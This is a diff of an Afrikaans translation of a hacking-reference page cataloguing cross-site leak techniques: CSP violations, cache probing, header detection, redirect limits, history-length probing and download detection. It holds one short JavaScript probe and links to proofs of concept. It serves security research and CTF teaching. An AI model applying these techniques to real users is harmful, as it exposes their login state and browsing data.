+'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag is, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsbevestigings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout ontlok** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek kan 'n aanvaller in staat stel om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
 
-### CSP Oortreding/Dekking
+### CSP Oortreding/Detectie
 
 - **Insluitingsmetodes**: Pop-ups
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
-- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word en ons toegang probeer verkry tot 'n ander domein, sal die CSP 'n waarneembare fout ontlok.
+- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word en ons probeer om dit na 'n ander domein te herlei, sal die CSP 'n waarneembare fout ontlok.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
-'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **omlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
+'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **herlei dit** na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
 Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding ontlok is.
 
 ### Cache
@@ -511,36 +361,36 @@ Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy k
 - **Opsomming:** Verwyder die lêer uit die cache. Open die teikenbladsy en kyk of die lêer in die cache teenwoordig is.
 - **Kode Voorbeeld:**
 
-Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n **spesifieke lêer aangevra het**.
+Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy **'n spesifieke lêer aangevra het**.
 
 As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels nie), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai **nie enige fout ontlok het nie**, is dit omdat dit **in die cache was**.
 
 ### CSP Riglyn
 
 - **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
-- **Opsomming:** CSP kop riglyne kan ondersoek word met die CSP iframe eienskap, wat beleidsbesonderhede onthul.
+- **Opsomming:** CSP header riglyne kan ondersoek word met die CSP iframe eienskap, wat beleidsbesonderhede onthul.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
-'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om **'n Inhoudsekuriteitsbeleid (CSP) voor te stel** deur 'n eienskap op 'n iframe-element in te stel, met beleidsriglyne wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-kop magtig**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
+'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om **'n Inhoudsekuriteitsbeleid (CSP) voor te stel** deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP header goedkeur**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
 
 ### **CORP**
 
 - **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Header
 - **Meer inligting**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
-- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegelate oorsprong afgelaai word.
+- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegelate oorsprong aangevra word.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
 
-Die CORP-kop is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die kop kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit afgelaai word**.
+Die CORP header is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die header kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit aangevra word**.
 
 ### CORB
 
 - **Insluitingsmetodes**: HTML Elemente
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Headers
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
-- **Opsomming**: CORB kan aanvallers toelaat om te detecteer wanneer die **`nosniff` kop teenwoordig is** in die versoek.
+- **Opsomming**: CORB kan aanvallers toelaat om te detecteer wanneer die **`nosniff` header teenwoordig is** in die versoek.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
 
 Kyk na die skakel vir meer inligting oor die aanval.
@@ -548,48 +398,48 @@ Kyk na die skakel vir meer inligting oor die aanval.
 ### CORS fout op Oorsprong Reflectie miskonfigurasie <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
 
 - **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Headers
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
-- **Opsomming**: As die Oorsprongkop in die kop `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die cache is.
+- **Opsomming**: As die Oorsprong header in die header `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die cache is.
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-In die geval dat die **Oorsprongkop** in die kop `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **aflaai** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** ontlok word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **ontlok word**, is dit omdat dit **van die cache** toegang verkry is (die fout verskyn omdat die cache 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
+In die geval dat die **Oorsprong header** in die header `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **fetch** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** ontlok word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **ontlok word**, is dit omdat dit **van die cache** geaccess is (die fout verskyn omdat die cache 'n respons met 'n CORS header wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
 Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (`Access-Control-Allow-Origin: *`), dit nie sal werk nie.
 
-## Leesbare Eienskappe Tegniek
+## Leesbare Attribuut Tegniek
 
 ### Fetch Omleiding
 
 - **Insluitingsmetodes**: Fetch API
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
-- **Opsomming:** GC en SA laat toe om die tipe respons (opake-omleiding) te kontroleer nadat die omleiding voltooi is.
+- **Opsomming:** GC en SA laat toe om die tipe respons (opaque-redirect) te kontroleer nadat die omleiding voltooi is.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
 
-Deur 'n versoek te dien met die Fetch API met `redirect: "manual"` en ander parameters, is dit moontlik om die `response.type` eienskap te lees en as dit gelyk is aan `opaqueredirect`, dan was die respons 'n omleiding.
+Deur 'n versoek met die Fetch API in te dien met `redirect: "manual"` en ander parameters, is dit moontlik om die `response.type` eienskap te lees en as dit gelyk is aan `opaqueredirect`, dan was die respons 'n omleiding.
 
 ### COOP
 
 - **Insluitingsmetodes**: Pop-ups
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
 - **Opsomming:** Bladsye wat beskerm word deur die Cross-Origin Opener Policy (COOP) voorkom toegang vanaf kruis-oorsprong interaksies.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) kop in 'n kruis-oorsprong HTTP-respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie kop kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbeskikbaar** wanneer COOP aktief is, en **beskikbaar** in sy afwesigheid.
+'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) header in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie header kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbeskikbaar** wanneer COOP aktief is, en **beskikbaar** in sy afwesigheid.
 
 ### URL Maks Lengte - Bedienerkant
 
 - **Insluitingsmetodes**: Fetch API, HTML Elemente
 - **Waarneembare Verskil**: Statuskode / Inhoud
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
-- **Opsomming:** Detecteer verskille in responsies omdat die omleiding responslengte dalk te groot mag wees dat die bediener met 'n fout terugspeel en 'n waarskuwing genereer.
+- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot mag wees dat die bediener met 'n fout terug speel en 'n waarskuwing genereer.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
 As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** byvoeg, sal dit 'n **fout ontlok wat via Foutgebeurtenisse opspoorbaar is**.
 
-As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **genoeg koekies te stel** ([**koekiebom**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die respons** van die **korrekte respons** 'n **fout** ontlok word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n dieselfde webwerf ontlok, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
-'n Voorbeeld van die **koekiebom + XS-Search** kan gevind word in die Beoogde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
+As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **voldoende koekies in te stel** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** ontlok word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n selfde webwerf ontlok, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
+'n Voorbeeld van die **cookie bomb + XS-Search** kan gevind word in die bedoelde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
 `SameSite=None` of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.
 
@@ -598,18 +448,18 @@ As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierd
 - **Insluitingsmetodes**: Pop-ups
 - **Waarneembare Verskil**: Statuskode / Inhoud
 - **Meer inligting**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
-- **Opsomming:** Detecteer verskille in responsies omdat die omleiding responslengte dalk te groot mag wees vir 'n versoek dat 'n verskil opgemerk kan word.
+- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot mag wees vir 'n versoek dat 'n verskil opgemerk kan word.
 - **Kode Voorbeeld**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 
-Volgens [Chromium dokumentasie](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) is Chrome se maksimum URL-lengte 2MB.
+Volgens [Chromium dokumentasie](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), is Chrome se maksimum URL-lengte 2MB.
 
-> In die algemeen het die _webplatform_ nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat dit ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
+> In die algemeen het die _webplatform_ nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
 
 Daarom, as die **omleiding URL** in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n **URL groter as 2MB** om die **lengte limiet** te tref. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
 
-Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** egter getref is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
+Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis-oorsprong nie daardie inligting kan toegang nie. As die **limiet** egter getref is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
 
-Alle ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit in die **omleiding** gebruik sal word.
+Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit **in die omleiding gebruik sal word**.
 
 {{#ref}}
 url-max-length-client-side.md
@@ -620,10 +470,10 @@ url-max-length-client-side.md
 - **Insluitingsmetodes**: Fetch API, Frames
 - **Waarneembare Verskil**: Statuskode
 - **Meer inligting**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
-- **Opsomming:** Gebruik die blaaiers se omleiding limiet om die voorkoms van URL omleidings te bepaal.
+- **Opsomming:** Gebruik die blaaier se omleiding limiet om die voorkoms van URL omleidings te bepaal.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetsde bladsy te stuur. As 'n **fout** ontlok word, dan was die bladsy besig om die **slagoffer** te probeer **omlei**.
+As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik **die slagoffer** na die getoetste bladsy te stuur. As 'n **fout** ontlok word, dan was die bladsy besig om die slagoffer te **herlei**.
 
 ### Geskiedenis Lengte
 
@@ -643,7 +493,7 @@ Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te
 - **Opsomming:** Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
 - **Kode Voorbeeld**: Hieronder
 
-'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en **onmiddellik** **dit na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om **toe te neem omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
+'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en **onmiddellik** **dit na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om **te verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -689,9 +539,9 @@ Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanne
 - **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat via sy API verkry kan word. [Lees meer oor HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
 - **HTMLVideoElement**: Dit blootstel `videoHeight` en `videoWidth`. In sommige blaaiers is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. [Lees meer oor HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend `totalVideoFrames`, wat die hoeveelheid video-data wat verwerk is, kan aandui. [Lees meer oor getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat die mislukking om die beeld korrek te laai aandui. [Lees meer oor HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat dui op die mislukking om die beeld korrek te laai. [Lees meer oor HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
-### CSS Eiendom
+### CSS Eienskap
 
 - **Insluitingsmetodes**: HTML Elemente
 - **Waarneembare Verskil**: Bladsy Inhoud
@@ -730,10 +580,10 @@ Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumenta
 - **Insluitingsmetodes**: Rame
 - **Waarneembare Verskil**: Kopstukke
 - **Meer inligting**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
-- **Opsomming:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingesluit te word weens X-Frame-Options beperkings.
+- **Opsomming:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingebed te word weens X-Frame-Options beperkings.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-In Chrome, as 'n bladsy met die `X-Frame-Options` kopstuk op "deny" of "same-origin" ingestel is, en as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kopstuk inkonsekwent instel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskopstukke is van kardinale belang om sulke lekke te voorkom.
+In Chrome, as 'n bladsy met die `X-Frame-Options` kopstuk op "deny" of "same-origin" ingestel is, en as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kopstuk inkonsekwent instel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskopstukke is van kardinale belang om sulke lekke te voorkom.
 
 ### Aflaai Opsporing
 
@@ -753,7 +603,7 @@ Die `Content-Disposition` kopstuk, spesifiek `Content-Disposition: attachment`,
 - Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
 3. **Aflaai Navigasie sonder Iframes**:
 - Soos die iframe tegniek, behels hierdie metode die gebruik van `window.open` in plaas van 'n iframe.
-- Deur navigasie gebeurtenisse in die nuutgeopende venster te monitor, kan onthul word of 'n lêeraflaai inisieer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).
+- Monitering van navigasie gebeurtenisse in die nuutgeopende venster kan onthul of 'n lêeraflaai inisieer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).
 
 In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se autentikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.
 
@@ -766,13 +616,13 @@ In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hi
 - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (van [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitionering**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitioning**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Kommentaar van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde cache sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra is**. Dit is omdat die cache sleutel bestaan uit top-level _eTLD+1_ en frame _eTLD+1_.
+As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde caching sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra** is. Dit is omdat die caching sleutel bestaan uit top-level _eTLD+1_ en frame _eTLD+1_.
 
